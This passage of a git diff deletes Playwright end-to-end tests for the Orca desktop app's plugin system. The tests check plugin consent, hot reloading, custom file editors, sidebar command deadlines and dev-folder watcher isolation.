Error(`setSetting failed: ${JSON.stringify(written)}`) - } - }, - { pluginKey, key, value } - ) -} - -async function pressToggle(electronApp: ElectronApplication): Promise { - await electronApp.evaluate(({ BrowserWindow }) => { - BrowserWindow.getAllWindows()[0]?.webContents.send('ui:toggleLeftSidebar') - }) -} - -function toggleCount(page: Page): Promise { - return page.evaluate(() => window.__sidebarToggles ?? 0) -} - -async function logLines(logPath: string, mode: Mode): Promise { - const text = await readFile(logPath, 'utf8').catch(() => '') - return text - .split('\n') - .filter((line) => line.startsWith(`${mode}:`)) - .map((line) => line.slice(mode.length + 1)) -} - -test('a replacing command gets the left sidebar toggle exactly once, early, late or failing', async ({ - orcaPage, - electronApp -}) => { - // Why: four timed presses each wait out the 2 s deadline and 3 s safety net, plus plugin setup. - test.setTimeout(120_000) - const tempRoot = await mkdtemp(join(tmpdir(), 'orca-replacement-deadline-')) - const pluginRoot = join(tempRoot, 'sidebar-replacement') - const logPath = join(tempRoot, 'handler.log') - try { - await mkdir(pluginRoot) - await writeFile(join(pluginRoot, 'orca-plugin.json'), JSON.stringify(manifest, null, 2)) - await writeFile(join(pluginRoot, 'worker.mjs'), worker) - await enableDevPlugins(orcaPage, [pluginRoot]) - - const pluginKey = await orcaPage.evaluate(async () => { - const plugin = (await window.api.plugins.list()).find( - (entry) => entry.name === 'E2E Sidebar Replacement' - ) - if (!plugin) { - throw new Error('plugin not discovered') - } - return plugin.pluginKey - }) - // Starts the worker up front, so the timed cases below measure a warm handler. A dev plugin - // can still be settling its first review right after approval, so retry until it runs. - await expect - .poll( - () => - orcaPage.evaluate(async (key) => { - const plugin = (await window.api.plugins.list()).find((p) => p.pluginKey === key) - if (plugin?.status === 'pending' && plugin.consentFingerprint) { - await window.api.plugins.consent({ - pluginKey: key, - reviewedFingerprint: plugin.consentFingerprint, - decision: 'approve' - }) - } - return window.api.plugins.invokeCommand({ pluginKey: key, commandId: 'toggle' }).then( - () => 'ran', - (error: unknown) => String(error) - ) - }, pluginKey), - { timeout: 30_000 } - ) - .toBe('ran') - await setMode(orcaPage, pluginKey, 'logPath', logPath) - - // Counts every open/close of the left sidebar the renderer actually commits. - await orcaPage.evaluate(() => { - window.__sidebarToggles = 0 - window.__store?.subscribe((state, previous) => { - if (state.sidebarOpen !== previous.sidebarOpen) { - window.__sidebarToggles = (window.__sidebarToggles ?? 0) + 1 - } - }) - }) - - // The renderer learns of the replacement through its plugin list; wait until a press reaches - // the plugin (the fast handler runs the toggle itself) before measuring each mode. - await expect(async () => { - await pressToggle(electronApp) - await expect.poll(() => logLines(logPath, 'fast'), { timeout: 2_000 }).toContain('ran') - }).toPass({ timeout: 30_000 }) - await rm(logPath, { force: true }) - - const cases: { mode: Mode; settle: number; toggles: number; log: string[] }[] = [ - { mode: 'fast', settle: 3_500, toggles: 1, log: ['start', 'ran'] }, - { mode: 'late', settle: 4_500, toggles: 1, log: ['start', 'refused'] }, - { mode: 'throw', settle: 3_500, toggles: 1, log: ['start', 'threw'] }, - { mode: 'noop', settle: 3_500, toggles: 0, log: ['start', 'done'] } - ] - for (const { mode, settle, toggles, log } of cases) { - await setMode(orcaPage, pluginKey, 'mode', mode) - const before = await toggleCount(orcaPage) - const openBefore = await orcaPage.evaluate(() => window.__store?.getState().sidebarOpen) - await pressToggle(electronApp) - // Past the 2 s deadline and the renderer's 3 s safety net, so a second toggle would show: - // the assertion is that nothing more happens, which no condition can wait for. - // ast-grep-ignore: test-no-real-time-wait -- proves the absence of a late second toggle - await orcaPage.waitForTimeout(settle) - expect({ mode, toggles: (await toggleCount(orcaPage)) - before }).toEqual({ mode, toggles }) - expect({ mode, log: await logLines(logPath, mode) }).toEqual({ mode, log }) - const openAfter = await orcaPage.evaluate(() => window.__store?.getState().sidebarOpen) - expect(openAfter).toBe(toggles === 1 ? !openBefore : openBefore) - } - } finally { - await disablePluginSystem(orcaPage).catch(() => undefined) - await rm(tempRoot, { recursive: true, force: true }) - } -}) diff --git a/tests/e2e/plugin-components-hot-reload.spec.ts b/tests/e2e/plugin-components-hot-reload.spec.ts deleted file mode 100644 index a46daa9ed0d..00000000000 --- a/tests/e2e/plugin-components-hot-reload.spec.ts +++ /dev/null @@ -1,128 +0,0 @@ -/** - * Invariant: saving a dev components panel hot reloads it. Keyed memory atoms survive the reload - * (unless their `version` changes), a "Reloaded" mark shows, and a save that does not load keeps - * the last good tree with an inline error naming file:line:column until the next save fixes it. - */ - -import { mkdir, mkdtemp, rm, writeFile } from 'node:fs/promises' -import { tmpdir } from 'node:os' -import { join } from 'node:path' -import type { Page } from '@stablyai/playwright-test' -import { expect, test } from './helpers/orca-app' -import { disablePluginSystem, enableDevPlugins } from './helpers/plugin-smoke' -import { ISOLATED_FRAMES_E2E } from './helpers/plugin-frame-guest' - -test.use(ISOLATED_FRAMES_E2E) - -const TITLE = 'Hot Reload' - -function panelSource(label: string, draftOptions = ''): string { - return [ - "import { atom, Heading, Input, read, set, Stack, Text } from 'orca'", - '', - `const draft = atom('draft', ''${draftOptions})`, - '', - 'export default function Panel() {', - ' return (', - ' ', - ` Panel ${label}`, - ' set(draft, v)} />', - " Draft: {read(draft) || '(empty)'}", - ' ', - ' )', - '}', - '' - ].join('\n') -} - -async function openPanel(page: Page): Promise { - await page.evaluate(async () => { - const store = window.__store?.getState() - if (store && !store.rightSidebarOpen) { - store.toggleRightSidebar() - } - await window.api.plugins.refresh() - }) - const button = page.getByRole('button', { name: TITLE }) - await expect(button).toBeVisible({ timeout: 15_000 }) - await button.click() -} - -test('a dev components panel hot reloads with its memory atoms and survives a broken save', async ({ - orcaPage -}) => { - const tempRoot = await mkdtemp(join(tmpdir(), 'orca-components-hot-reload-')) - const pluginRoot = join(tempRoot, 'hot-reload') - const panelFile = join(pluginRoot, 'src', 'panel.tsx') - try { - await mkdir(join(pluginRoot, 'src'), { recursive: true }) - await writeFile( - join(pluginRoot, 'orca-plugin.json'), - JSON.stringify({ - manifestVersion: 2, - execution: 'sandboxed-ui', - id: 'hot-reload', - name: TITLE, - version: '1.0.0', - engines: { orca: '>=1.4.246' }, - pluginApi: 1, - contributes: { - panels: [{ id: 'main', title: TITLE, entry: 'src/panel.tsx', ui: 'components' }] - } - }) - ) - await writeFile(panelFile, panelSource('v1')) - await enableDevPlugins(orcaPage, [pluginRoot]) - await openPanel(orcaPage) - await expect(orcaPage.getByRole('heading', { name: 'Panel v1' })).toBeVisible({ - timeout: 15_000 - }) - - // Filling is idempotent, so a retry after the dev watcher's own first remount stays exact. - await expect(async () => { - await orcaPage.getByPlaceholder('Draft').fill('kept across saves') - await expect(orcaPage.getByText('Draft: kept across saves')).toBeVisible({ timeout: 2_000 }) - }).toPass({ timeout: 15_000 }) - - await writeFile(panelFile, panelSource('v2')) - await expect(orcaPage.getByRole('heading', { name: 'Panel v2' })).toBeVisible({ - timeout: 15_000 - }) - await expect(orcaPage.getByText('Draft: kept across saves')).toBeVisible() - await expect(orcaPage.getByText('Reloaded', { exact: true })).toBeVisible() - - // A save that does not transpile: the v2 tree stays, with the error located in the source. - await writeFile(panelFile, "import { atom } from 'orca'\n\nconst label = 'broken'\nconst = 1\n") - const loadError = orcaPage.getByRole('alert').filter({ hasText: 'failed to load' }) - await expect(loadError).toContainText('src/panel.tsx:4:7: Unexpected token', { - timeout: 15_000 - }) - await expect(orcaPage.getByRole('heading', { name: 'Panel v2' })).toBeVisible() - await expect(orcaPage.getByText('Draft: kept across saves')).toBeVisible() - - // A throw is located at the source column (as `orca plugin check` reports), not the - // type-stripped one Chromium's stack names. - await writeFile( - panelFile, - "import { atom } from 'orca'\n\nconst n: number = Number('1'); if (n) throw new Error('boom')\n" - ) - await expect(loadError).toContainText('src/panel.tsx:3:45: boom', { timeout: 15_000 }) - - await writeFile(panelFile, panelSource('v3')) - await expect(orcaPage.getByRole('heading', { name: 'Panel v3' })).toBeVisible({ - timeout: 15_000 - }) - await expect(loadError).toHaveCount(0) - await expect(orcaPage.getByText('Draft: kept across saves')).toBeVisible() - - // A new `version` means a new shape: that atom starts over instead of taking the old value. - await writeFile(panelFile, panelSource('v4', ', { version: 2 }')) - await expect(orcaPage.getByRole('heading', { name: 'Panel v4' })).toBeVisible({ - timeout: 15_000 - }) - await expect(orcaPage.getByText('Draft: (empty)')).toBeVisible() - } finally { - await disablePluginSystem(orcaPage).catch(() => undefined) - await rm(tempRoot, { recursive: true, force: true }) - } -}) diff --git a/tests/e2e/plugin-custom-editor.spec.ts b/tests/e2e/plugin-custom-editor.spec.ts deleted file mode 100644 index 72a926ba117..00000000000 --- a/tests/e2e/plugin-custom-editor.spec.ts +++ /dev/null @@ -1,235 +0,0 @@ -/** - * Invariant: a plugin custom editor opens matching files in the editor tab, edits (text or - * bytes) flow into Orca's buffer without dirtying it on open, the save shortcut pressed inside - * the frame saves through Orca, Source shows the same buffer (or the binary placeholder), and - * turning plugins off falls back to Source. - */ - -import { mkdir, mkdtemp, readFile, rm, writeFile } from 'node:fs/promises' -import { tmpdir } from 'node:os' -import { join } from 'node:path' -import type { Page } from '@stablyai/playwright-test' -import { PLUGIN_MANIFEST_V2_SINCE } from '../../src/shared/plugins/manifest/plugin-schema-field-docs' -import { expect, test } from './helpers/orca-app' -import { disablePluginSystem, enableDevPlugins, openRepoFile } from './helpers/plugin-smoke' -import { - focusInGuest, - pluginGuest, - readInGuest, - ISOLATED_FRAMES_E2E -} from './helpers/plugin-frame-guest' - -// Isolated frames are off by default; these journeys exercise the guest path. -test.use(ISOLATED_FRAMES_E2E) - -const FILE = 'custom-editor-smoke.sketch' -const SAVE_KEY = process.platform === 'darwin' ? 'Meta+s' : 'Control+s' - -// A tiny complete editor on window.orca: a textarea that sends debounced full-text edits. -const EDITOR_HTML = ` -` - -async function writeEditorPlugin(root: string): Promise { - await mkdir(join(root, 'editor'), { recursive: true }) - await writeFile(join(root, 'editor', 'index.html'), EDITOR_HTML) - await writeFile( - join(root, 'orca-plugin.json'), - JSON.stringify({ - manifestVersion: 2, - execution: 'sandboxed-ui', - id: 'sketch-pad', - publisher: 'samples', - name: 'Sketch Pad', - version: '1.0.0', - engines: { orca: `>=${PLUGIN_MANIFEST_V2_SINCE}` }, - contributes: { - customEditors: [ - { - id: 'sketch', - title: 'Sketch Pad', - extensions: ['.sketch'], - entry: 'editor/index.html' - } - ] - } - }) - ) -} - -function activeFileDirty(page: Page): Promise { - return page.evaluate((name) => { - const state = window.__store?.getState() - return state?.openFiles.find((file) => file.relativePath === name)?.isDirty - }, FILE) -} - -async function chooseView(page: Page, label: string): Promise { - await page.getByRole('radio', { name: label, exact: true }).click() -} - -test('plugin custom editor edits and saves through Orca', async ({ orcaPage, seededRepoPath }) => { - const pluginRoot = await mkdtemp(join(tmpdir(), 'orca-custom-editor-')) - const filePath = join(seededRepoPath, FILE) - try { - await writeEditorPlugin(pluginRoot) - await writeFile(filePath, 'first line\n') - await enableDevPlugins(orcaPage, [pluginRoot]) - await openRepoFile(orcaPage, seededRepoPath, FILE) - - const guest = pluginGuest(orcaPage, 'Sketch Pad') - const text = () => readInGuest(guest, `document.getElementById('doc').value`) - await expect(guest).toBeVisible({ timeout: 15_000 }) - await expect.poll(text, { timeout: 15_000 }).toBe('first line\n') - // Opening a file in its custom editor must not dirty it. - expect(await activeFileDirty(orcaPage)).toBe(false) - - // Real input: the save chord only counts with the frame's own user activation. - await focusInGuest(guest, '#doc') - await orcaPage.keyboard.press(process.platform === 'darwin' ? 'Meta+ArrowDown' : 'Control+End') - await orcaPage.keyboard.type('second line') - await expect.poll(() => activeFileDirty(orcaPage)).toBe(true) - - // Saved inside the debounce window: Orca must flush the frame first. - await orcaPage.keyboard.type('!') - await orcaPage.keyboard.press(SAVE_KEY) - await expect.poll(() => readFile(filePath, 'utf8')).toBe('first line\nsecond line!') - await expect.poll(() => activeFileDirty(orcaPage)).toBe(false) - - await chooseView(orcaPage, 'Source') - await expect(guest).toHaveCount(0) - await expect(orcaPage.locator('.monaco-editor .view-lines')).toContainText('second line!') - await chooseView(orcaPage, 'Sketch Pad') - await expect(guest).toBeVisible() - await expect.poll(text).toBe('first line\nsecond line!') - - await disablePluginSystem(orcaPage) - await expect(guest).toHaveCount(0, { timeout: 15_000 }) - await expect(orcaPage.locator('.monaco-editor .view-lines')).toBeVisible() - } finally { - await disablePluginSystem(orcaPage).catch(() => undefined) - await rm(filePath, { force: true }) - await rm(pluginRoot, { recursive: true, force: true }) - } -}) - -const BYTES_FILE = 'custom-editor-smoke.hexbook' - -// Reports what a bytes editor receives; its button appends 0xaa as a full-bytes edit. -const BYTES_EDITOR_HTML = `waiting -` - -test('a bytes custom editor edits and saves a binary file', async ({ - orcaPage, - seededRepoPath -}) => { - const pluginRoot = await mkdtemp(join(tmpdir(), 'orca-bytes-editor-')) - const filePath = join(seededRepoPath, BYTES_FILE) - // NULs make Orca treat it as binary, like a zip-based workbook. - const original = Buffer.from([0x50, 0x4b, 0x03, 0x04, 0x00, 0x00, 0xff, 0x10]) - try { - await mkdir(join(pluginRoot, 'editor'), { recursive: true }) - await writeFile(join(pluginRoot, 'editor', 'index.html'), BYTES_EDITOR_HTML) - await writeFile( - join(pluginRoot, 'orca-plugin.json'), - JSON.stringify({ - manifestVersion: 2, - execution: 'sandboxed-ui', - id: 'hex-book', - publisher: 'samples', - name: 'Hex Book', - version: '1.0.0', - engines: { orca: `>=${PLUGIN_MANIFEST_V2_SINCE}` }, - contributes: { - customEditors: [ - { - id: 'hex', - title: 'Hex Book', - extensions: ['.hexbook'], - entry: 'editor/index.html', - contentKind: 'bytes' - } - ] - } - }) - ) - await writeFile(filePath, original) - await enableDevPlugins(orcaPage, [pluginRoot]) - await openRepoFile(orcaPage, seededRepoPath, BYTES_FILE) - - const guest = pluginGuest(orcaPage, 'Hex Book') - const summary = () => - readInGuest(guest, `document.getElementById('summary').textContent`) - await expect(guest).toBeVisible({ timeout: 15_000 }) - await expect.poll(summary, { timeout: 15_000 }).toBe('v1 hexbook false 8:50 4b 3 4 name=opaque') - // Opening and the ignored text edit leave the file and the tab untouched. - const dirty = () => - orcaPage.evaluate( - (name) => - window.__store?.getState().openFiles.find((file) => file.relativePath === name)?.isDirty, - BYTES_FILE - ) - expect(await readFile(filePath)).toEqual(original) - expect(await dirty()).toBe(false) - - // Why a key: in a hidden Linux window the mouse never reaches a sandboxed frame's button. - await focusInGuest(guest, '#append') - await orcaPage.keyboard.press('Enter') - await expect.poll(dirty).toBe(true) - await orcaPage.keyboard.press(SAVE_KEY) - const edited = Buffer.concat([original, Buffer.from([0xaa])]) - await expect.poll(() => readFile(filePath)).toEqual(edited) - await expect.poll(dirty).toBe(false) - - // Source of a binary file is the binary placeholder, never decoded bytes. - await chooseView(orcaPage, 'Source') - await expect(guest).toHaveCount(0) - await expect(orcaPage.getByText('Binary file — cannot display')).toBeVisible() - await chooseView(orcaPage, 'Hex Book') - // A remount reads the saved bytes back. - await expect(guest).toBeVisible() - await expect.poll(summary).toContain('hexbook false 9:') - - await disablePluginSystem(orcaPage) - await expect(guest).toHaveCount(0, { timeout: 15_000 }) - await expect(orcaPage.getByText('Binary file — cannot display')).toBeVisible() - } finally { - await disablePluginSystem(orcaPage).catch(() => undefined) - await rm(filePath, { force: true }) - await rm(pluginRoot, { recursive: true, force: true }) - } -}) diff --git a/tests/e2e/plugin-demo.spec.ts b/tests/e2e/plugin-demo.spec.ts deleted file mode 100644 index 63182d16608..00000000000 --- a/tests/e2e/plugin-demo.spec.ts +++ /dev/null @@ -1,216 +0,0 @@ -// Require visible consent before the hello-orca panel, worker command or event subscription runs. - -import { cp, mkdtemp, readFile, rm, writeFile } from 'node:fs/promises' -import { tmpdir } from 'node:os' -import { join } from 'node:path' -import type { Page } from '@stablyai/playwright-test' -import { expect, test } from './helpers/orca-app' -import { removeWorktreeViaStore } from './helpers/dead-terminal' -import { - pluginGuest, - readGuestCsp, - readInGuest, - ISOLATED_FRAMES_E2E -} from './helpers/plugin-frame-guest' - -// Isolated frames are off by default; these journeys exercise the guest path. -test.use(ISOLATED_FRAMES_E2E) - -async function openPluginSettings(page: Page): Promise { - await page.evaluate(() => { - const state = window.__store?.getState() - if (!state) { - throw new Error('store unavailable') - } - state.openSettingsTarget({ pane: 'plugins', repoId: null }) - state.openSettingsPage() - }) - const section = page.locator('[data-settings-section="plugins"]') - await expect(section).toBeVisible() - await expect(section.getByText('Alpha', { exact: true })).toBeVisible() -} - -async function openDemoPanel(page: Page): Promise { - await page.evaluate(() => { - const state = window.__store?.getState() - if (!state) { - throw new Error('store unavailable') - } - state.closeSettingsPage() - if (!state.rightSidebarOpen) { - state.toggleRightSidebar() - } - }) - const panelButton = page.getByRole('button', { name: 'Hello Orca', exact: true }) - await expect(panelButton).toBeVisible({ timeout: 15_000 }) - await panelButton.click() - const guest = pluginGuest(page, 'Hello Orca') - await expect(guest).toBeVisible({ timeout: 15_000 }) - await expect.poll(() => readDemoHeading(page)).toBe('Hello Orca 👋') - expect(await readGuestCsp(guest)).toMatch(/default-src 'self'.*connect-src 'self' data: blob:/) -} - -function readDemoHeading(page: Page): Promise { - return readInGuest( - pluginGuest(page, 'Hello Orca'), - `document.querySelector('h1')?.textContent ?? null` - ) -} - -async function createWorktree(page: Page, name: string): Promise { - await page.waitForFunction( - () => { - const state = window.__store?.getState() - return Boolean(state && Object.values(state.worktreesByRepo).flat().length > 0) - }, - undefined, - { timeout: 15_000 } - ) - return page.evaluate(async (worktreeName) => { - const state = window.__store?.getState() - if (!state) { - throw new Error('store unavailable') - } - const worktrees = Object.values(state.worktreesByRepo).flat() - const active = - worktrees.find((worktree) => worktree.id === state.activeWorktreeId) ?? worktrees[0] - if (!active) { - throw new Error('active worktree was not found') - } - const result = await state.createWorktree(active.repoId, worktreeName) - return result.worktree.id - }, name) -} - -test('runs hello-orca panel, command, and event behind visible consent', async ({ orcaPage }) => { - const tempRoot = await mkdtemp(join(tmpdir(), 'orca-hello-plugin-e2e-')) - const pluginRoot = join(tempRoot, 'hello-orca') - let createdWorktreeId: string | null = null - await cp(join(process.cwd(), 'examples', 'plugins', 'hello-orca'), pluginRoot, { - recursive: true - }) - - try { - const installed = await orcaPage.evaluate(async (sourcePath) => { - const settings = await window.api.settings.set({ pluginSystemEnabled: true }) - window.__store?.setState({ settings }) - const result = await window.api.plugins.install({ kind: 'local-path', path: sourcePath }) - if (!result.ok) { - throw new Error(result.error) - } - const pending = (await window.api.plugins.refresh()).find( - (entry) => entry.pluginKey === result.pluginKey - ) - if (!pending) { - throw new Error('installed plugin was not listed') - } - let blocked = false - try { - await window.api.plugins.invokeCommand({ - pluginKey: result.pluginKey, - commandId: 'hello-ping', - args: { source: 'before-consent' } - }) - } catch { - blocked = true - } - return { pluginKey: result.pluginKey, status: pending.status, blocked } - }, pluginRoot) - - expect(installed.status).toBe('pending') - expect(installed.blocked).toBe(true) - - await openPluginSettings(orcaPage) - await orcaPage.getByRole('tab', { name: /^Installed/ }).click() - const row = orcaPage.locator(`[data-plugin-key="${installed.pluginKey}"]`) - // Why on the page: review sits above its one button there, not in a dialog over the list. - await row.getByRole('button', { name: 'Review', exact: true }).click() - const consent = orcaPage.locator('[data-plugin-consent]') - await expect(consent).toBeVisible() - await expect(orcaPage.getByRole('article')).toContainText('Local folder') - await expect(consent).toContainText( - 'Full access: runs as a normal program and can read your files, use your saved logins and SSH keys, use the network, run other programs and control Orca, including your terminals and agents.' - ) - await expect(orcaPage.getByRole('dialog')).toHaveCount(0) - await orcaPage - .getByRole('article') - .getByRole('button', { name: /^Enable plugin/ }) - .click() - await expect(consent).toBeHidden() - await orcaPage - .getByRole('article') - .getByRole('button', { name: 'Plugins', exact: true }) - .click() - await orcaPage.getByRole('tab', { name: /^Installed/ }).click() - await expect(row).toContainText('Installed') - - const commandResults = await orcaPage.evaluate(async (pluginKey) => { - const first = await window.api.plugins.invokeCommand({ - pluginKey, - commandId: 'hello-ping', - args: { source: 'e2e' } - }) - const second = await window.api.plugins.invokeCommand({ - pluginKey, - commandId: 'hello-ping', - args: { source: 'e2e' } - }) - return { first, second } - }, installed.pluginKey) - expect(commandResults.first).toBe('Pong! First ping.') - expect(commandResults.second).toBe('Pong! 2 pings so far.') - - await orcaPage.evaluate(async (sourcePath) => { - const settings = await window.api.settings.set({ devPluginPaths: [sourcePath] }) - window.__store?.setState({ settings }) - await window.api.plugins.refresh() - }, pluginRoot) - // A dev folder taking over the approved install is different code, so it needs its own review. - await orcaPage.evaluate(async (pluginKey) => { - const plugin = (await window.api.plugins.list()).find( - (entry) => entry.pluginKey === pluginKey - ) - if (!plugin?.consentFingerprint || plugin.status !== 'pending') { - throw new Error('the dev copy should wait for review') - } - await window.api.plugins.consent({ - pluginKey, - reviewedFingerprint: plugin.consentFingerprint, - decision: 'approve' - }) - }, installed.pluginKey) - - await openDemoPanel(orcaPage) - - const panelPath = join(pluginRoot, 'panel.html') - const panelHtml = await readFile(panelPath, 'utf8') - await writeFile(panelPath, panelHtml.replace('Hello Orca 👋', 'Hello Orca reloaded')) - await expect - .poll(() => readDemoHeading(orcaPage), { timeout: 15_000 }) - .toBe('Hello Orca reloaded') - - createdWorktreeId = await createWorktree(orcaPage, `plugin-event-${Date.now()}`) - await expect - .poll( - () => - orcaPage.evaluate( - async ({ pluginKey, worktreeId }) => - (await window.api.plugins.getLogs({ pluginKey })).some( - (entry) => - entry.line.includes('worktree created:') && entry.line.includes(worktreeId) - ), - { pluginKey: installed.pluginKey, worktreeId: createdWorktreeId! } - ), - { timeout: 15_000 } - ) - .toBe(true) - } finally { - try { - if (createdWorktreeId) { - await removeWorktreeViaStore(orcaPage, createdWorktreeId) - } - } finally { - await rm(tempRoot, { recursive: true, force: true }) - } - } -}) diff --git a/tests/e2e/plugin-dev-root-isolation.spec.ts b/tests/e2e/plugin-dev-root-isolation.spec.ts deleted file mode 100644 index c7aaa906aae..00000000000 --- a/tests/e2e/plugin-dev-root-isolation.spec.ts +++ /dev/null @@ -1,178 +0,0 @@ -/** - * Invariant: one dev plugin folder failing (deleted, recreated, removed from settings) never - * reloads another dev plugin's open panel, while an edit in the healthy folder still reloads it once. - * On macOS the recreated folder is found by the 60-second maintenance check, so this spans two ticks. - */ - -import { cp, mkdtemp, readFile, rm, writeFile } from 'node:fs/promises' -import { tmpdir } from 'node:os' -import { join } from 'node:path' -import type { ElectronApplication, Page } from '@stablyai/playwright-test' -import { expect, test } from './helpers/orca-app' -import { disablePluginSystem, enableDevPlugins } from './helpers/plugin-smoke' -import { - evalInGuest, - ISOLATED_FRAMES_E2E, - pluginGuest, - waitForGuestReady -} from './helpers/plugin-frame-guest' - -test.use(ISOLATED_FRAMES_E2E) - -const HEALTHY_TITLE = 'Hello Orca' -const BROKEN_ID = 'hello-orca-broken' - -async function copyPlugin(target: string, id?: string): Promise { - await cp(join(process.cwd(), 'examples', 'plugins', 'hello-orca'), target, { recursive: true }) - if (id) { - const manifestPath = join(target, 'orca-plugin.json') - const manifest = JSON.parse(await readFile(manifestPath, 'utf8')) - manifest.id = id - manifest.name = 'Broken Orca' - manifest.contributes.panels[0].title = 'Broken Orca' - await writeFile(manifestPath, JSON.stringify(manifest)) - } -} - -function listsBrokenPlugin(page: Page): Promise { - return page.evaluate( - async (id) => (await window.api.plugins.list()).some((p) => p.pluginKey.endsWith(`.${id}`)), - BROKEN_ID - ) -} - -/** - * Why count restarts: a loaded host can restart the shared watcher process (delivery canary); every - * subscriber, healthy or not, then catches up once by design. Those reloads are not root coupling. - */ -function countWatcherProcessRestarts(app: ElectronApplication): () => number { - let restarts = 0 - app.process().stderr?.on('data', (chunk: Buffer) => { - restarts += String(chunk).match(/watcher process crashed; resubscribing/g)?.length ?? 0 - }) - return () => restarts -} - -/** Every distinct guest load of the healthy panel (a new webview element or a new URL). */ -async function healthyLoadLog(page: Page): Promise { - const raw = await page.evaluate(() => document.documentElement.dataset.e2eHealthyLoads ?? '[]') - const loads: unknown = JSON.parse(raw) - return Array.isArray(loads) ? loads.map(String) : [] -} - -async function healthyLoads(page: Page): Promise { - return (await healthyLoadLog(page)).length -} - -function readHeading(page: Page): Promise { - return evalInGuest( - pluginGuest(page, HEALTHY_TITLE), - `document.querySelector('h1')?.textContent ?? null` - ).catch(() => null) -} - -test('a failing dev folder does not reload another dev plugin panel', async ({ - electronApp, - orcaPage -}) => { - // Why 7 minutes: two 60-second maintenance ticks plus slow FSEvents delivery on loaded hosts. - test.setTimeout(7 * 60_000) - const watcherRestarts = countWatcherProcessRestarts(electronApp) - const tempRoot = await mkdtemp(join(tmpdir(), 'orca-dev-root-isolation-')) - const healthy = join(tempRoot, 'healthy') - const broken = join(tempRoot, 'broken') - try { - await copyPlugin(healthy) - await copyPlugin(broken, BROKEN_ID) - await enableDevPlugins(orcaPage, [healthy, broken]) - await expect.poll(() => listsBrokenPlugin(orcaPage)).toBe(true) - - await orcaPage.evaluate(() => { - const state = window.__store?.getState() - if (state && !state.rightSidebarOpen) { - state.toggleRightSidebar() - } - }) - const panelButton = orcaPage.getByRole('button', { name: HEALTHY_TITLE, exact: true }) - await expect(panelButton).toBeVisible({ timeout: 15_000 }) - await panelButton.click() - await waitForGuestReady(pluginGuest(orcaPage, HEALTHY_TITLE)) - await expect.poll(() => readHeading(orcaPage)).toBe('Hello Orca 👋') - - await orcaPage.evaluate((title) => { - const seen = new WeakMap() - const loads: string[] = [] - setInterval(() => { - const webview = document.querySelector(`webview[title="${title}"]`) - let url = '' - try { - url = webview?.getURL() ?? '' - } catch { - return - } - if (webview && url && seen.get(webview) !== url) { - seen.set(webview, url) - loads.push(`${url} @${Date.now()}`) - document.documentElement.dataset.e2eHealthyLoads = JSON.stringify(loads) - } - }, 50) - }, HEALTHY_TITLE) - await expect.poll(() => healthyLoads(orcaPage)).toBe(1) - // Why a warm-up edit: FSEvents can hold the copy's create events and flush them with the next - // change, which would look like a coupled reload. One real edit drains them first. - await writeFile(join(healthy, 'warm-up.txt'), 'x') - await expect.poll(() => healthyLoads(orcaPage), { timeout: 60_000 }).toBeGreaterThan(1) - // ast-grep-ignore: test-no-real-time-wait -- the warm-up batch must finish before the baseline - await orcaPage.waitForTimeout(2_000) - const baselineLoads = await healthyLoads(orcaPage) - const restartsBefore = watcherRestarts() - const expectNoCoupledReloads = async (): Promise => { - const loads = await healthyLoadLog(orcaPage) - expect(loads.length, JSON.stringify(loads)).toBeLessThanOrEqual( - baselineLoads + watcherRestarts() - restartsBefore - ) - } - - // The broken folder disappears, then comes back; each change refreshes only its own watcher. - await rm(broken, { recursive: true, force: true }) - await expect.poll(() => listsBrokenPlugin(orcaPage), { timeout: 90_000 }).toBe(false) - await expectNoCoupledReloads() - await copyPlugin(broken, BROKEN_ID) - await expect.poll(() => listsBrokenPlugin(orcaPage), { timeout: 90_000 }).toBe(true) - await expectNoCoupledReloads() - // Another full maintenance tick with both folders present stays quiet. - // ast-grep-ignore: test-no-real-time-wait -- the claim is that a real maintenance tick stays quiet - await orcaPage.waitForTimeout(62_000) - await expectNoCoupledReloads() - // Dropping the broken folder from settings retires only its watcher. - await orcaPage.evaluate( - async (devPluginPaths) => { - const settings = await window.api.settings.set({ devPluginPaths }) - window.__store?.setState({ settings }) - await window.api.plugins.refresh() - }, - [healthy] - ) - await expect.poll(() => listsBrokenPlugin(orcaPage)).toBe(false) - // ast-grep-ignore: test-no-real-time-wait -- the claim is that no reload follows the removal - await orcaPage.waitForTimeout(1_500) - await expectNoCoupledReloads() - - // A real edit in the healthy folder still reloads its panel, exactly once. - const loadsBeforeEdit = await healthyLoads(orcaPage) - const restartsBeforeEdit = watcherRestarts() - const panelPath = join(healthy, 'panel.html') - const html = await readFile(panelPath, 'utf8') - await writeFile(panelPath, html.replace('Hello Orca 👋', 'Hello Orca reloaded')) - await expect.poll(() => readHeading(orcaPage), { timeout: 60_000 }).toBe('Hello Orca reloaded') - // ast-grep-ignore: test-no-real-time-wait -- the claim is that the edit reloads only once - await orcaPage.waitForTimeout(2_000) - expect(await healthyLoads(orcaPage)).toBeGreaterThan(loadsBeforeEdit) - expect(await healthyLoads(orcaPage)).toBeLessThanOrEqual( - loadsBeforeEdit + 1 + watcherRestarts() - restartsBeforeEdit - ) - } finally { - await disablePluginSystem(orcaPage).catch(() => undefined) - await rm(tempRoot, { recursive: true, force: true }) - } -}) diff --git a/tests/e2e/plugin-install-link.spec.ts b/tests/e2e/plugin-install-link.spec.ts deleted file mode 100644 index 8165920585e..00000000000 --- a/tests/e2e/plugin-install-link.spec.ts +++ /dev/null @@ -1,89 +0,0 @@ -/** - * Invariant: an `orca://plugins/...` link opens the plugin's page in Settings, waiting while - * plugins are off until they are turned back on, and never installs. A malformed link only toasts, and an unknown - * catalog asks first. The link is delivered through main's open-url handler; no protocol is - * registered on the machine running the test. - */ - -import { mkdtemp, rm } from 'node:fs/promises' -import { tmpdir } from 'node:os' -import { join } from 'node:path' -import type { ElectronApplication, TestInfo } from '@stablyai/playwright-test' -import { expect, test } from '@stablyai/playwright-test' -import { createRestartSession } from './helpers/orca-restart' -import { createGleamCatalogFixture, GLEAM_PLUGIN_KEY } from './helpers/plugin-gleam-catalog-fixture' - -async function openLink(app: ElectronApplication, url: string): Promise { - await app.evaluate(({ app: electronApp }, link) => { - electronApp.emit('open-url', { preventDefault: () => undefined }, link) - }, url) -} - -// oxlint-disable-next-line no-empty-pattern -- Playwright passes fixtures before testInfo. -test('an install link opens the plugin page and never installs', async ({}, testInfo) => { - // Why: one Electron launch plus a Git catalog fetch and a plugin page; slower than the 30s default on CI. - test.setTimeout(180_000) - const root = await mkdtemp(join(tmpdir(), 'orca-plugin-install-link-e2e-')) - const fixture = await createGleamCatalogFixture(root) - const session = createRestartSession(testInfo as TestInfo, fixture.gitEnvironment) - let launched: Awaited> 